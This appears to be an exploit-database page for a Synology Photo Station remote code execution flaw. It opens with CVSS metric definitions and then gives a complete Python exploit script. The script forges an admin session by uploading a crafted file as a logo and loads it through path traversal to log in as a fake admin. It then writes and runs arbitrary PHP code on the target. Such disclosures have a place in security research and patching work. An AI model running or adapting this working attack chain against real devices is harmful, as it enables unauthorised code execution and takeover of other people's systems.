The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Synology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution'''
Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:
Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests
# What server you want to attack
synology_ip = 'http://192.168.1.100'
# Your current IP
ip = '192.168.1.200'
# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'
encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'
print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]
r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text
print "[+] Login as fake admin"
# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}
try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)
whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text
print "[+] Upload php file"
c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text
print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))
print f.text